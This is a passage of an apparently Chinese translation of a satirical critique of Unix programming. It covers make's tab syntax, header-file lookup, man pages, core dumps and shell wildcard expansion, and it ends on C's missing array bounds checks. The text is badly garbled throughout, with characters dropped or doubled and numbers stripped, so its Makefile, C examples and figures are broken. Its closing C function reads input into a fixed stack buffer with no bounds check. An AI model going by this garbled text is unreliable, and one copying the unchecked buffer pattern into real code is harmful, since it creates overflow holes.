是 的 ,grep 找 到 了 所 有 的 min 函 数 调 用 , 不 过 还 有 别 的 。<br />
“Don't know how to make love. Stop.”<br />
什 么 是 理 想 的 编 程程 ? 简 单 的 题 简 单 解解 决 , 复 杂 的 题 解解 决 。<br />
多 Unix 的 悲 剧 在 于 狂 热 追 求 通 用 , 而 忽 视 了 快 简 洁 。<br />
Make 就就 是 这 一 个 型 。 从 抽 象 意 义 而 言言 ,make 的 输 入 描 述 了 一 个 依<br />
赖 图 。 图 的 每 个 节 点 都 包 一 组 命 , 一 节 点 过 时 ( 相 对 依 赖 节 点 而<br />
言言 ), 就就 执执 行 这 些 命 。 节 点 和 文 件 相 , 文 件 的 时 间 戳 决 了 节 点 是 否 过<br />
时 。 是 一 个 简 单 的 依 赖 系 图 , 就就 是 一 个 Makefile:<br />
program: source.o source.o<br />
cc -o program source.o source.o<br />
source.o: source.c<br />
cc -c source.c<br />
source.o: source.c<br />
cc -c source.c<br />
这 program、source.o、source.o、source.c、source.c 都 是 系 图<br />
的 节 点 。 节 点 program 依 赖 于 source.o 和 source.o。 这 个 Makefile <br />
图 示 如 <br />
source1.c<br />
source2.c<br />
source1.o<br />
source2.o<br />
program
· · 编 写 程 序<br />
如 果 source.o 或或 source.o 的 时 间 戳 比 program 要 新 ,make 便 运 行<br />
命 cc -o program source.o source.o 新 生 成 program。 当 然 , 如 果 修 改<br />
了 source.c, 那 么 source.o 和 program 都 过 时 , 所 make 新 行<br />
编 译 和 链 接接 。<br />
尽 管 make 的 模 型 很 通 用 , 惜 计 者 从 没没 考 虑 过 如 何 用 这 个 模 型 简 单<br />
地 处 理 常 事 。 运 行 make 必 倍 小小 心 , 不 然 死 得 很 难 看 , 但 <br />
所 有 Unix 新 手手 事 先 都 一 无 所 知 , 直 到 某 撞撞 到 枪 。<br />
继 续 我 们 的 例 子 , 假 有 个 程程 序 员 尼 斯 想 调 试 source.c, 于 是<br />
通 过 调 试 选 编 译 程程 序 。 他 修 改 了 一 Makefile:<br />
program: source.o source.o<br />
cc -o program source.o source.o<br />
# I'm debugging source.c -Dennis<br />
source.o: source.c<br />
cc -c -g source.c<br />
source.o: source.c<br />
cc -c source.c<br />
“#” 打 头 的 那 行 是 注 释 , 被被 make 忽 略 。 怜 的 尼 斯 运 行 了 一 <br />
make, 却 看 到 这 个 <br />
Make: Makefile: Must be a separator on line .<br />
Stop<br />
Make 歇 菜 了 。 尼 斯 盯 着 Makefile 看 了 好 几 分 钟 , 接接 着 又 是 几 个 小小 时 ,<br />
还 是 不 明 白 哪 儿 出 错 了 。 他 觉 得 注 释 行 有 题 , 不 是 很 肯 。<br />
毛毛 病 出 在 入 注 释 行 时 , 他 不 小小 心 在 第 二 行 开 始 的 制 表表 符 前 敲 入 了 一<br />
个 空空 格 。 制 表表 符 是 Makefile 语 法 的 一 个 要 部 分 。 所 有 的 命 行 ( 例 子 中<br />
cc 开 始 的 行 ) 必 制 表表 符 打 头 。 这 就就 是 什 么 尼 斯 的 Makefile 歇 菜 了 。<br />
“ 那 又 怎 ?” 你 能 ,“ 这 有 什 么 不 对 的 ?”<br />
这 计 身 没没 什 么 不 对 , 不 过 如 果 你 联 系 一 别 的 Unix 编 程程 的<br />
作 方 式 , 就就 觉 得 把把 制 表表 符 纳 入 语 法 就就 好 像 《 绿 色 贝 雷 帽 》 的 情 节 ,<br />
那 个 倒 霉 的 堪 萨 斯 小小 子 作 排排 头 走 在 约 翰 核 韦 前 , 却 没没 有 发发 现 尖尖 竹<br />
<br />
译 注 映 的 美 国 越 南 战战 争 题 材 影 片 。<br />
<br />
译 注 John Wayne( 月 ~ 月 ), 美 国 影 星 , 多 出 演 西 部 片 和 战战 争 片 , 是<br />
《 绿 色 贝 雷 帽 》 的 导 演 和 演 。
在 柏 拉 图 的 洞 穴 里 砌 码<br />
· ·<br />
钉 陷 的 绊 发发 索 , 毕 在 他 老 家 的 玉 米 地 是 不 用 随 时 注 意 这 种 东 西 的 。 哇<br />
哇 哇 哇 !<br />
你 看 看 , 制 表表 符 、 空空 格 符 和 换 行 符 一 般 被被 称 “ 白 字 符 ”, 意 思 是<br />
“ 你 放 心 大 胆 地 置 不 理 ”, 多 程程 序 确 对 空空 格 和 制 表表 符 一 视 仁 ,<br />
然 而 就就 make( 和 几 个 狐 朋 狗 友 像 cu 和 uucp) 要 特 立立 独 行 。 现 在 想 让 这 个<br />
倒 霉 的 堪 萨 斯 小小 子 解解 脱 , 能 给 他 脑 袋袋 来 一 枪 。<br />
怜 的 尼 斯 最 没没 有 找 出 他 的 Makefile 有 毛毛 病 , 他 现 在 落 魄 地<br />
戴 着 纸 帽 , 在 一 个 中 西 部 州 立立 大 学 毫毫 无 前 途 地 维 护 sendmail 配 置 文 件 。 真<br />
是 耻 大 辱 。<br />
头 文挱 件<br />
C 语 言言 有 个 东 西 头 文 件 , 是 一 些 义 信 息 , 在 编 译 时 源 文 件 包<br />
使 用 。 和 Unix 的 它 玩 意 一 , 如 果 有 一 个 两 个 , 作 得 很 好 ,<br />
多 了 就就 没没 戏 了 。<br />
想 知 道 你 的 源 文 件 使 用 哪 个 头 文 件 吗 ? 这 个 题 经 常 不 好 回 答 。 头 文<br />
件 包 是 C 处 理 据据 #include 指指 行 的 。 这 个 指指 有 两 种 用 法 <br />
#include <br />
和<br />
#include "header.h"<br />
区 别 ? 这 和 各 个 C 处 理 的 现 有 , 就就 是 , 任 何 人 都 着<br />
性 子 胡 来 。<br />
让 我 们 看 看 尼 斯 的 朋 友 乔 伊 , 这 是 个 Unix 新 手手 。 乔 伊 有 个 C 程程 序<br />
foo.c, 使 用 了 foo.h 中 义 的 一 些 数 据据 结 构 ,foo.c 和 foo.h 放 在 了 一 个 目<br />
录 盒 盒 现 在 你 大 概概 已 经 知 道 “foo” 是 程程 序 员 常 用 的 字 。 来 , 乔 伊 机<br />
的 系 程程 序 员 做 了 一 个 foo.h 文 件 , 并 放 到 缺 省 系 头 文 件 目 录 ,/<br />
usr/include。<br />
倒 霉 蛋 乔 伊 编 译 了 foo.c, 看 到 一 堆 语 法 错 误 。 他 惑 不 解解 , 编 译 总<br />
在 他 义 的 一 些 数 据据 结 构 处 报 错 , 是 这 些 数 据据 结 构 在 foo.h 被被 义 得 好<br />
好 的 呀 。<br />
你 我 估 计 能 到 乔 伊 的 题 在 哪 儿 , 他 一 是 这 么 包 头 文 件 的
· · 编 写 程 序<br />
#include <br />
而 不 是 <br />
#include "foo.h"<br />
乔 伊 不 知 道 这 个 。 他 确 是 用 的 引 方 式 , 是 他 的 编 译 的 查<br />
找 方 式 有 些 特 别 。 无 如 何 , 乔 伊 被被 了 一 身 骚 , 而 且 他 是 无 辜 的 。<br />
维 护 大 头 文 件 是 件 很 头 疼 的 事 , 但 如 果 你 倒 霉 要 写 个 有 用 点 儿 的 C 程程<br />
序 , 这 又 是 不 避 免 的 。 头 文 件 一 般 用 于 义 数 据据 结 构 , 而 多 头 文 件 往 往<br />
依 赖 别 的 头 文 件 义 的 数 据据 结 构 。 你 , 作 一 程程 序 员 , 有 个 光 荣 而 的<br />
任 盒 盒 整 理 出 头 文 件 的 依 赖 系 , 然 确 的 序 包 它 们 。<br />
当 然 , 编 译 帮 你 。 如 果 你 搞搞 错 了 依 赖 系 , 编 译 毫毫 不 留 情 地<br />
指指 出 语 法 错 误 。, 编 译 是 个 很 很 有 身 份 的 程程 序 , 因 没没 时 间 来 区<br />
分 义 的 数 据据 结 构 和 敲 错 的 单 词 。, 即 使 你 是 了 一 丁 点 , 比 如<br />
少少 敲 个 分 ,C 编 译 多 半半 目 瞪 呆 , 然 恼 羞 成 怒 , 哭 哭 啼 啼 地 抱抱<br />
怨 于 被被 那 个 分 甩 了 , 文 件 剩 的 部 分 它 编 不 了 了 。 怜 的 编 译 , 你<br />
咋 就就 不 能 忽 略 前 的 小小 小小 错 误 呢 ?<br />
在 编 译 圈 子 , 这 一 现 象 被被 称 “ 错 误 雪 崩 ”, 或或 者 按按 照 编 译 界 的<br />
黑 “ 我 完 蛋 了 , 起 不 来 了 。” 缺 个 分 把把 解解 析 彻 搞搞 晕 , 狂 吐 不 。<br />
这 种 编 译 对 语 法 错 误 如 敏 感 , 大 概概 是 因 用 了 yacc 盒 盒 善 于 处 理 语 法<br />
确 的 程程 序 ( 很 少少 能 遇 到 ), 但 要 生 成 健 壮 容 错 自 恢 复 的 解解 析 , 恐 怕 就就<br />
有 点 儿 勉 难 了 。 有 经 验 的 C 程程 序 员 都 知 道 , 有 第 一 解解 析 错 误 才 是 有<br />
意 义 的 。<br />
工 具 程 序 和 手 册 页 面<br />
Unix 一 贯 自 力 更 生 盒 盒 任 意 解解 释 命 行 参参 数 。 这 的 自 有<br />
些 烦 人 因 学 一 套 命 行 规 是 不 够 的 , 相 反 在 使 用 每 个 命 前 ,<br />
你 都 必 阅 读 手手 册 页 。<br />
读 到 那 么 多 精 心 编 写 的 手手 册 页 , 你 一 很 开 心 吧 。<br />
看 一 这 个 例 子 。“ 摘摘 要 ” 一 栏 总 结 得 挺挺 不 错 , 是 不 是 ?<br />
LS() Unix 程程 序 员 手手 册 LS()
在 柏 拉 图 的 洞 穴 里 砌 码<br />
· ·<br />
称<br />
ls - 列 出 目 录 内 容<br />
摘挏 要<br />
ls [ -acdfgilqrstuACLFR ] 称 …盚…盚<br />
描拿 述<br />
对 参参 数 中 指指 的 每 个 目 录 ,ls 列 出 该 目 录 的 内 容 对 每 个 文 件 ,ls 显 示 文 件 及 <br />
它 所 需 的 信 息 。 缺 省 情 况 , 输 出 将将 按按 照 字 母 序 排排 列 。 如 果 没没 有 命 参参 数 , 显 示 当<br />
前 目 录 的 内 容 。 如 果 参参 数 不 一 个 , 那 么 ls 首 先 行 当 排排 序 , 但 是 文 件 参参 数 总 是 排排<br />
在 目 录 参参 数 前 。<br />
ls 有 很 多 选 <br />
略<br />
臭 虫<br />
如 果 文 件 中 有 换 行 符 和 制 表表 符 , 那 么 被被 当 成 打 印 字 符 输 出 。<br />
该 命 假 输 出 备 的 显 示 度 是 个 字 符 。<br />
如 果 输 出 备 不 是 电 传 打 字 机 端 , 那 么 的 选 能 生 不 的 输 出 , 比 如 “ls<br />
-s” 和 “ls -s| lpr” 的 执执 行 结 果 就就 大 相 径 庭 。 用 户户 对 有 所 抱抱 怨 , 然 而 要 是 不 这 么<br />
做 , 一 些 调 用 ls 命 的 有 脚 很 能 无 法 作 。<br />
如 果 你 想 玩 游 戏 , 不 妨 读 一 每 篇 手手 册 页 的 “ 臭 虫 ” 部 分 , 然 想 像<br />
一 每 个 臭 虫 是 如 何 成 的 。 看 一 shell 的 手手 册 页 <br />
SH() Unix 程程 序 员 手手 册 SH()<br />
称<br />
sh, for, case, if, while, :, ., break, continue, cd, eval, exec, exit, export, login, read, readonly,<br />
set, shift, times, trap, umask, wait - 命 语 言言<br />
摘挏 要<br />
ls [ -ceiknrstuvx ] [ 参参 数 ] …盚…盚<br />
描拿 述<br />
sh 是 一 个 命 程程 序 语 言言 , 执执 行 来 自 端 或或 文 件 的 命 。 查 看 如 何 调 用 sh 了 解解 各 个 选<br />
的 意 义 。 略<br />
臭 虫<br />
在 通 过 & 启 程程 时 , 如 果 使 用
· · 编 写 程 序<br />
能 放 制 表表 符 而 非 任 意 空空 白 字 符 ” 的 题 。 这 不 难 , 就就 是 几 行 码 的 事<br />
儿 。<br />
BBN 的 黑 们 是 一 个 有 任 感 的 团 体 , 因 将将 补补 丁 发发 给 了 伯 克 利 , 希 望<br />
能 被被 纳 入 式 的 Unix 码 中 。 一 过 , 伯 克 利 发发 布 了 新 版 Unix, 这 个<br />
题 还 是 存 在 。BBN 的 黑 第 二 做 了 修 改 , 又 把把 补补 丁 交 给 了 伯 克 利 。<br />
…盚…盚 然 而 到 了 第 次 发发 布 , 一 切 都 还 是 老 子 ,BBN 的 程程 序 员 彻 失<br />
望 了 。 他 们 没没 有 再 提 交 补补 丁 , 而 是 把把 所 有 Makefile 中 空空 格 打 头 的 行 替 换 成 了<br />
制 表表 符 盒 盒 毕 BBN 佣 他 们 是 了 开 发发 新 程程 序 , 而 不 是 反 复 纠 缠 一 个<br />
臭 虫 。<br />
( 据据 make 的 作 者 , 斯 图 尔尔 特 核 尔尔 德 曼<br />
<br />
一 开 始 就就 查 觉 到 了 这 个 <br />
题 , 但 他 没没 有 修 改 , 因 那 时 他 的 程程 序 已 经 有 个 用 户户 了 。)<br />
源 码 就 是捔 文挱 档掳 。 哇 , 牛 逼 !<br />
如 果 我 写 着 不 容 易 , 那 么 你 理 解解 起 来 就就 不 该 容 易 。<br />
盒 盒 某 Unix 程程 序 员<br />
在 “ 你 文 档 吗 ?” 一 , 我 们 过 Unix 程程 序 员 认 操 作 系 源 <br />
码 才 是 极 文 档 。 一 个 著 的 Unix 历 史 学 家 曾 经 指指 出 “ 毕 , 操 作 系 自<br />
己 是 遵 循 源 码 行 一 操 作 的 。”<br />
是 通 过 阅 读 源 码 来 理 解解 Unix, 这 就就 如 开 着 肯 核 汤汤 逊 的 老 爷 车<br />
( 对 , 就就 是 控 制 闪 着 一 个 “?” 的 那 辆 ) 周 游 世 界 。<br />
Unix 内 源 码 ( 更 准 确 的 , 是 ftp.uu.net 载 的 伯 克 利 互 联 磁 带<br />
码 ) 几 没没 有 注 释 , 斥 着 成 “ 段 ” 没没 有 空空 行 的 码 ,goto 语 随 处<br />
见 , 处 心 积 虑 给 妄 图 读 懂 的 人 使 绊 子 。 有 个 黑 感 到 “ 阅 读 Unix 内 <br />
源 码 就就 好 像 走 在 伸 手手 不 见 五 指指 的 巷 子 。 我 突突 然 停 来 , 脑 子 回 响 着 一<br />
个 声 音 ‘ 老 , 我 就就 要 遭 了 。 盖 ”<br />
当 然 , 内 码 有 自 己 的 警 报 系 , 当 中 散 布 着 这 的 小小 小小 注 释 <br />
/* XXX */<br />
意 思 是 有 什 么 东 西 不 对 , 你 该 知 道 哪 儿 出 事 儿 了 。<br />
<br />
译 注 Stuart Feldman, 在 贝 尔尔 验 编 写 了 make。<br />
<br />
译 注 Berkeley Networking Tape , 称 Net/, 是 BSD Unix 去去 掉 AT&T 专 利 码 的 开 源 版 ,<br />
但 并 非 一 个 完 整 的 操 作 系 。
“ 这 绝 不 可 能 是捔 臭 虫 , 的 Makefile 需 要 它 !” · ·<br />
“ 这 绝 不 可 能 是捔 臭 虫 , 的 Makefile 需 要 它 !”<br />
BBN 的 程程 序 员 该 算 是 类 。 大 部 分 Unix 程程 序 员 不 修 复 臭 虫 他 们 没没<br />
有 源 码 , 而 有 源 码 的 人 知 道 即 使 修 复 了 于 事 无 补补 。 这 就就 是 什 么 Unix<br />
程程 序 员 遇 到 臭 虫 的 第 一 反 不 是 修 复 它 , 而 是 绕 过 它 。<br />
于 是 我 们 看 到 了 悲 惨 的 一 幕 什 么 不 一 永永 逸 地 解解 决 题 , 而 是 一 错<br />
再 错 ? 期 的 Unix 程程 序 员 信 尼 采 的 “ 永永 恒 回 ” 思 想 。<br />
于 调 试 方 法 , 存 在 着 两 个 截截 然 不 的 派 别 一 个 是 “ 外 科 手手 术 派 ”,<br />
包 括括 流 行 于 期 ITS 和 Lisp 系 , 程程 序 运 行 过 程程 中 始 有 调 试 参参 与 , 如 果<br />
程程 序 崩 溃 了 , 调 试 ( 相 当 于 外 科 大 ) 对 题 行 断 医 治治 。<br />
Unix 的 做 法 更 老 的 “ 尸尸 体 解解 剖 派 ” 信 。 如 果 一 个 Unix 程程 序 崩<br />
溃 了 , 遗 留 吐 文 件 , 从 各 个 方 看 这 都 和 尸尸 体 没没 什 么 两 , 然 调 试<br />
找 出 死 因 。 有 趣 的 是 ,Unix 程程 序 常 常 和 人 一 , 死 于 治治 疗 的 疾 病 、<br />
事 故 及 疏 忽 。<br />
对 付 进 程 吐 掩 文挱 件<br />
如 果 程程 序 吐 而 亡 , 你 的 第 一 件 事 情 是 找 到 吐 文 件 在 哪 。 这 该 不<br />
困 难 , 因 吐 文 件 总 是 很 大 盒 盒 、、 甚 至 M 字 节 。<br />
吐 文 件 所 这 么 大 , 是 因 包 括括 了 所 有 用 于 调 试 的 信 息 堆 栈 、 数<br />
据据 、 码 指指 针 等 等 , 谓 遗 , 但 却 没没 有 包 程程 序 的 信 息 。 比 如 一<br />
个 网 程程 序 , 等 到 吐 再 调 试 已 经 时 晚 不 仅 网 接接 , 程程 打 开 的 文<br />
件 现 在 都 了 。<br />
在 Unix 不 幸 能 如 。<br />
例 如 , 用 户户 不 能 把把 调 试 作 命 解解 析 , 或或 者 在 内 发发 生 常 时 把把 控<br />
制 交 给 调 试 。 如 果 想 让 调 试 在 程程 序 崩 溃 时 行 接接 管 , 那 你 能 在 调 试 <br />
运 行 所 有捯 程程 序 。 如 果 想 调 试 中 断 码 , 你 的 调 试 必 截截 获 每 个 中 断 ,<br />
然 把把 的 中 断 转 发发 给 程程 序 。 每 敲 一 个 键 就就 发发 生 程程 文 切 换 , 你<br />
能 想 像 这 运 行 emacs 吗 ? 显 然 , 例 程程 调 试 的 思 想 和 Unix 哲 学 是 格 格 不 入<br />
的 。<br />
期 Wed, Jan :: PST<br />
来 自 迈 克 尔尔 核 泰 曼 <br />
是 的 , 有 些 Unix 版 允 你 用 调 试 接接 管 一 个 运 行 中 的 程程 , 但 是 你 手手 边 必 有 包 符 的 程程 序 文<br />
件 , 不 然 就就 等 着 读 书 吧 。
· · 编 写 程 序<br />
发发 给 UNIX 痛 者<br />
题 调 试 <br />
想 过 吗 ,Unix 调 试 何 如 蹩 脚 ? 这 是 因 如 果 想 给 调 试 提 供 什 么 能 , 那 一 <br />
跟 来 一 堆 缺 陷 , 如 果 有 缺 陷 , 程程 序 就就 一 吐 , 如 果 吐 , 吧 唧 一 , 你 用 来 调 试 的<br />
那 个 吐 文 件 就就 被被 覆 了 。 如 果 能 让 程程 序 控 制 时 间 、 地 点 , 及 方 式 , 那 就就 好 了 。<br />
盛 挤 臭 虫 的 圣 骨 盒<br />
和 别 的 操 作 系 不 ,Unix 把把 臭 虫 供 标 准 操 作 。 所 那 么 多 臭<br />
虫 得 不 到 修 , 这 有 个 不 告 人 的 原原 因 盒 盒 如 果 修 了 , 那 么 就就 能 打 破<br />
现 有 的 程程 序 。 然 而 很 荒 唐 ,Unix 程程 序 员 在 增 新 能 时 却 从 来 不 考 虑 前 向<br />
容 。<br />
在 思 考 这 些 题 时 , 迈 克 尔尔 核 泰 曼 想 到 了 Unix 调 试 何 在 自 己 吐 <br />
时 覆 已 有 吐 文 件 的 个 理 <br />
期 Thu, Jan :: PST<br />
来 自 迈 克 尔尔 核 泰 曼 <br />
发发 给 UNIX 痛 者<br />
题 Unix 调 试 <br />
大 卫卫 核 莱 特 曼 挑挑 选 的 十十 大 蠢蠢 回 答 <br />
. 这 破 已 有 码 。<br />
. 这 能 需 要 修 改 文 档 。<br />
. 难 现 了 。<br />
. 这 怎 么 是 调 试 的 活 儿 ? 什 么 不 外 写 个 “”?<br />
. 如 果 调 试 吐 了 , 你 该 丢 开 你 自 己 的 程程 序 , 开 始 调 试 调 试 。<br />
. 难 理 解解 了 。<br />
. 哪 儿 有 奶 油 蛋 糕 ?<br />
. 什 么 非 得 现 在 做 ?<br />
. Unix 不 是 神 仙 。<br />
. 哪 儿 有 题 ?<br />
Unix 程程 序 员 总 是 打 着 “ 能 破 已 有 码 ” 的 幌 子 , 不 愿 意 修 臭 虫 。<br />
这 还 有 内 幕 , 修 臭 虫 不 但 能 破 已 有 码 , 还 能 需 要 修 改 Unix<br />
接接 , 而 这 在 Unix 狂 热 教 眼 中 是 简 洁 而 完 美 的 。 至 于 接接 是 否 作 , 这<br />
并 不 要 。Unix 教 们 提 不 出 更 好 的 接接 , 不 修 臭 虫 , 而 是 齐 声 高 唱<br />
“Unix 接接 好 简 洁 , 好 简 洁 !Unix 接接 就就 是 美 , 就就 是 美 !Unix 无 罪 !Unix 有<br />
理 !”( 有 点 , 是 不 是 ?)<br />
然 而 很 不 幸 , 绕 开 臭 虫 编 程程 是 害 无 穷 的 举 , 因 这 使 得 错 误 成 操<br />
作 系 规 范 的 一 部 分 。 你 越 是 等 , 臭 虫 就就 越 是 难 修 , 因 无 数 选 择 绕 开<br />
<br />
译 注 David Letterman, 美 国 著 晚 间 脱 秀 持 人 。“ 十十 大 排排 行 榜榜 (Late Show Top Ten List)” 是 莱<br />
特 曼 的 招 牌 娱 栏 目 。
“ 这 绝 不 可 能 是捔 臭 虫 , 的 Makefile 需 要 它 !” · ·<br />
的 程程 序 现 在 反 而 离 不 开 这 些 臭 虫 。 因 如 , 修 改 操 作 系 接接 比 修 复<br />
一 般 的 臭 虫 价 更 高 , 因 需 要 修 改 不 计 数 的 用 程程 序 来 这 个 崭 新<br />
盒 盒 且 不 确 与 否 盒 盒 的 接接 行 。( 这 部 分 解解 释 了 什 么 ls 用 那 么 多 选<br />
来 做 差 不 多 的 事 情 , 而 每 个 选 又 各 自 有 少少 。)<br />
如 果 你 把把 一 青 蛙 扔 到 开 水水 , 它 马 跳 出 来 , 你 知 道 这 是 因 开 水水<br />
很 烫 。 是 , 如 果 你 把把 青 蛙 放 到 冷 水水 , 再 慢 慢 地 热 , 青 蛙 却 注 意 不 到 ,<br />
直 到 最 被被 烫 死 。<br />
Unix 的 接接 像 一 沸 腾 的 锅 。 一 开 始 , 输 入 / 输 出 的 全 部 接接 曾 经 <br />
包 括括 open、close、read 和 write。 引 入 网 支 持 在 Unix 的 锅 添 了 一 大 把把<br />
柴 禾 到 了 今 , 仅 仅 是 向 文 件 描 述 符 写 入 数 据据 就就 有 至 少少 五 种 方 法 write、<br />
writev、send、sendto 和 sendmsg。 每 个 接接 都 在 内 中 有 不 的 现 , 这<br />
意 味 着 有 五 倍 的 能 出 现 臭 虫 , 还 有 五 种 不 的 性 能 结 果 需 要 考 虑 。 读 文 件<br />
描 述 符 一 (read、recv、recvfrom 和 recvmsg)。 等 死 吧 , 青 蛙 们 。<br />
文挱 件 扩 展<br />
尽 管 Unix 规 “ 所 有 程程 序 自 力 更 生 ”, 但 有 个 例 外 文 件 扩扩 展展 。<br />
用 户户 都 希 望 Unix 程程 序 既 能 处 理 一 个 文 件 , 能 处 理 多 个 文 件 。Unix shell 提<br />
供 了 用 来 指指 一 组 文 件 的 法 ,shell 把把 这 组 文 件 展展 开 , 做 一 个 文 件 列<br />
表表 传 递 给 命 程程 序 。<br />
例 如 , 假 你 的 目 录 有 文 件 A、B 和 C。 如 果 想 删 除 所 有 这 些 文 件 , 你<br />
运 行 rm *。shell 把把 “*” 扩扩 展展 成 “A B C”, 然 作 rm 的 参参 数 。 这<br />
个 方 法 有 很 多 很 多 题 , 这 在 前 内 容 已 经 提 到 过 了 。 不 过 , 你 该 知 道 让<br />
shell 来 扩扩 展展 文 件 不 是 突突 发发 想 , 而 是 精 心 权 衡衡 的 计 决 策 。 在 《Unix 编<br />
程程 环 境 》 一 文 中 , 凯 尔尔 尼 汉汉 姆 和 马 歇 指指 出 “ 把把 这 个 作 shell 的 一 个 机 制 ,<br />
避 免 各 个 程程 序 的 复 , 而 且 保 证 所 有 程程 序 都 能 一 致 地 使 用 。” <br />
是 这 有 什 么 必 然 联 系 吗 ? 标 准 输 入 / 输 出 ( 所 谓 stdio, Unix 的 <br />
) 不 就就 让 “ 所 有 程程 都 能 一 致 地 使 用 ” 么 ? 提 供 一 个 用 于 扩扩 展展 文 件 的 函<br />
数 不 就就 成 了 ? 这 些 家 没没 有 过 链 接接 么 ? 那 些 于 性 能 的 法 是 无 稽稽<br />
谈 , 因 我 没没 有 看 到 任 何 支 持 数 据据 , 他 们 甚 至 没没 有 明 “ 高 效 ” 的 义 是<br />
什 么 在 一 个 shell 负 扩扩 展展 文 件 的 系 中 , 是 程程 序 员 开 发发 小小 程程 序 最 高 效 ,<br />
还 是 新 手手 把把 所 有 文 件 一 扫 而 光 最 高 效 ?<br />
让 任 何 人 都 能 运 行 任 何 shell, 这 是 备 赞 誉 的 Unix 决 策 。 但 请 注 意 文 件 扩扩 展展 是 在 自 扇扇 耳 光 <br />
用 户户 无 法 任 意 运 行 shell, 因 shell 必 支 持 星 扩扩 展展 。 盒 盒 编 辑 注
· · 编 写 程 序<br />
大 多 数 情 况 , 让 shell 行 文 件 扩扩 展展 无 所 谓 , 因 这 和 程程 序 自 己<br />
扩扩 展展 的 结 果 没没 什 么 不 。 是 , 和 Unix 的 多 玩 意 一 , 你 晚 被被 狠<br />
狠 咬 一 。<br />
假 你 是 个 Unix 新 手手 , 目 录 有 两 个 文 件 A.m 和 B.m。 你 惯 了 MS-<br />
DOS, 想 把把 它 们 的 字 换 成 A.c 和 B.c。 嗯 ~~ 没没 找 到 rename 命 , 不 过<br />
mv 命 似 差 不 多 。 于 是 你 执执 行 mv *.m *.c。Shell 将将 这 个 命 扩扩 展展 mv<br />
A.m B.m, 你 辛 辛 苦 苦 写 了 几 小小 时 的 B.m 就就 这 么 被被 掉 了 。<br />
再 好 好 思 考 一 这 个 题 , 你 就就 发发 现 要 把把 mv 修 改 得 和 MS-DOS<br />
“rename” 的 能 一 , 在 理 就就 完 全 不 能 。 所 谓 件 , 不 过<br />
如 。<br />
健 壮 性 , 或 者 说 “ 所 有捯 输 入 行 必 须 小 于 个 字 符 ”<br />
《ACM 通 》 月 刊 登 了 米 勒 核 弗 德 森森<br />
<br />
等 人 撰撰 写 的 一 篇 精 彩<br />
文 , 题 目 是 《 于 Unix 性 的 证 研 究 》 [] 。 他 们 使 用 一 些 随 机<br />
数 据据 作 Unix 的 输 入 , 发发 现 有 %~%( 决 于 Unix 版 ) 的 崩<br />
溃 或或 者 失 去去 响 , 有 时 候 甚 至 整 个 系 都 完 蛋 了 。<br />
文 的 开 头 像 是 在 讲 笑 , 中 一 作 者 曾 在 作 时 使 用 一 声 很<br />
大 的 电 线 , 结 果 发发 现 线 路 音 让 各 种 不 断 崩 溃 , 因 他 决 针 对 这 一<br />
现 象 开 展展 更 系 的 调 查 研 究 。<br />
大 多 数 程程 序 臭 虫 都 归 咎 于 C 语 言言 一 些 臭 昭 著 的 。 事 ,C<br />
语 言言 成 了 Unix 的 多 生 脑 残 , 因 Unix 内 及 所 有 程程 序 都 是 用<br />
C 语 言言 写 的 。 著 语 言言 学 家 杰 明 核 沃沃 过 语 言言 决 思 想 。C 语 言言 紧<br />
紧 地 桎 梏 了 Unix 程程 序 员 无 法 想 像 能 写 出 健 壮 的 程程 序 。<br />
C 语 言言 是 最 小小 化 的 , 计 目 标 是 能 各 种 硬 件 有 效 地 编 译 出 机 <br />
码 , 导 致 C 语 言言 的 构 容 易 映 射射 计 算 机 硬 件 。<br />
在 Unix 生 初 , 用 高 级 语 言言 编 写 操 作 系 是 个 革 命 性 的 想 法 但 到<br />
了 今 , 该 考 虑 使 用 一 种 有 错 误 检 查 的 语 言言 。<br />
C 语 言言 是 一 种 “ 最 小小 分 母 ” 语 言言 , 在 生 时 , 这 个 最 小小 分 母 非 常<br />
小小 凡 是 PDP- 没没 有 的 ,C 语 言言 不 有 。 过 去去 几 十十 的 编 程程 语 言言 研 究 表表<br />
明 , 给 语 言言 入 错 误 处 理 、 自 内 存 管 理 和 抽 象 数 据据 类 型 等 能 , 使 得 开<br />
<br />
译 注 Miller Fredriksen。<br />
<br />
译 注 Benjamin Whorf。
“ 这 绝 不 可 能 是捔 臭 虫 , 的 Makefile 需 要 它 !” · ·<br />
发发 出 的 程程 序 更 健 壮 , 但 这 些 结 对 C 语 言言 毫毫 无 影 响 。 于 C 语 言言 的 流<br />
行 , 昨 、 今 和 明 都 没没 人 愿 意 给 微 处 理 增 诸 如 数 据据 标 或或 硬 件 支 持<br />
的 垃 圾 回 收 等 能 , 因 即 使 做 了 是 在 浪 晶 体 管 罢 了 C 语 言言 编 写 的<br />
程程 序 不 使 用 这 些 能 。<br />
回 忆 一 ,C 语 言言 无 法 处 理 整 数 溢 出 。 解解 决 方 法 是 使 用 超 过 题 需 要 的<br />
整 数 度 盒 盒 希 望 在 你 有 生 够 用 。<br />
C 语 言言 没没 有 真 意 义 的 数 组 , 是 有 个 东 西 象 是捔 数 组 , 但 不<br />
过 是 一 个 指指 向 一 块 内 存 的 指指 针 。 至 于 数 组 索 引 表表 达 式 ,array[index], 不 过<br />
是 表表 达 式 (*(array+index)) 的 简 写 版 。 所 你 写 index[array] 没没 有 题 ,<br />
这 和 表表 达 式 (*(array+index)) 是 一 个 意 思 。 聪 明 吧 ? 数 组 的 两 性 在 字 符 处<br />
理 时 常 能 见 到 , 数 组 常 常 在 数 组 和 指指 针 间 换 来 换 去去 。<br />
举 个 例 子 , 假 你 有 <br />
char *str = "bugy";<br />
于 是 的 这 些 语 都 是 一 的 <br />
0[str] == 'b'<br />
*(str+) == 'u'<br />
*(+str) == 'g'<br />
str[] == 'y'<br />
C 语 言言 够 伟 大 的 吧 ?<br />
这 个 做 法 的 题 是 C 不 自 行 任 何 数 组 边 界 检 查 。 什 么 该 C 去去<br />
做 呢 ? 数 组 在 C 是 个 指指 针 而 已 , 你 把把 指指 针 指指 向 内 存 的 任 何 地 方 , 是<br />
不 是 ? 不 过 , 一 般 人 不 想 在 内 存 乱 写 乱 画 , 特 别 在 是 一 些 键 的 地 方 , 比<br />
如 程程 序 的 栈 。<br />
这 把把 我 们 引 到 了 米 勒 在 文 中 提 到 的 第 一 类 臭 虫 。 崩 溃 发发 生 时 , 多 程程 序<br />
在 将将 输 入 读 到 调 用 栈 的 一 块 字 符 缓 冲 区 内 。 多 C 程程 序 是 这 么 做 的 <br />
的 函 数 把把 一 行 输 入 读 栈 的 一 个 数 组 , 然 调 用 do_it 函 数 。<br />
a_function()<br />
{<br />
char c, buff[0];<br />
int i = 0;<br />
while ((c = getchar()) != '\n')
· · 编 写 程 序<br />
}<br />
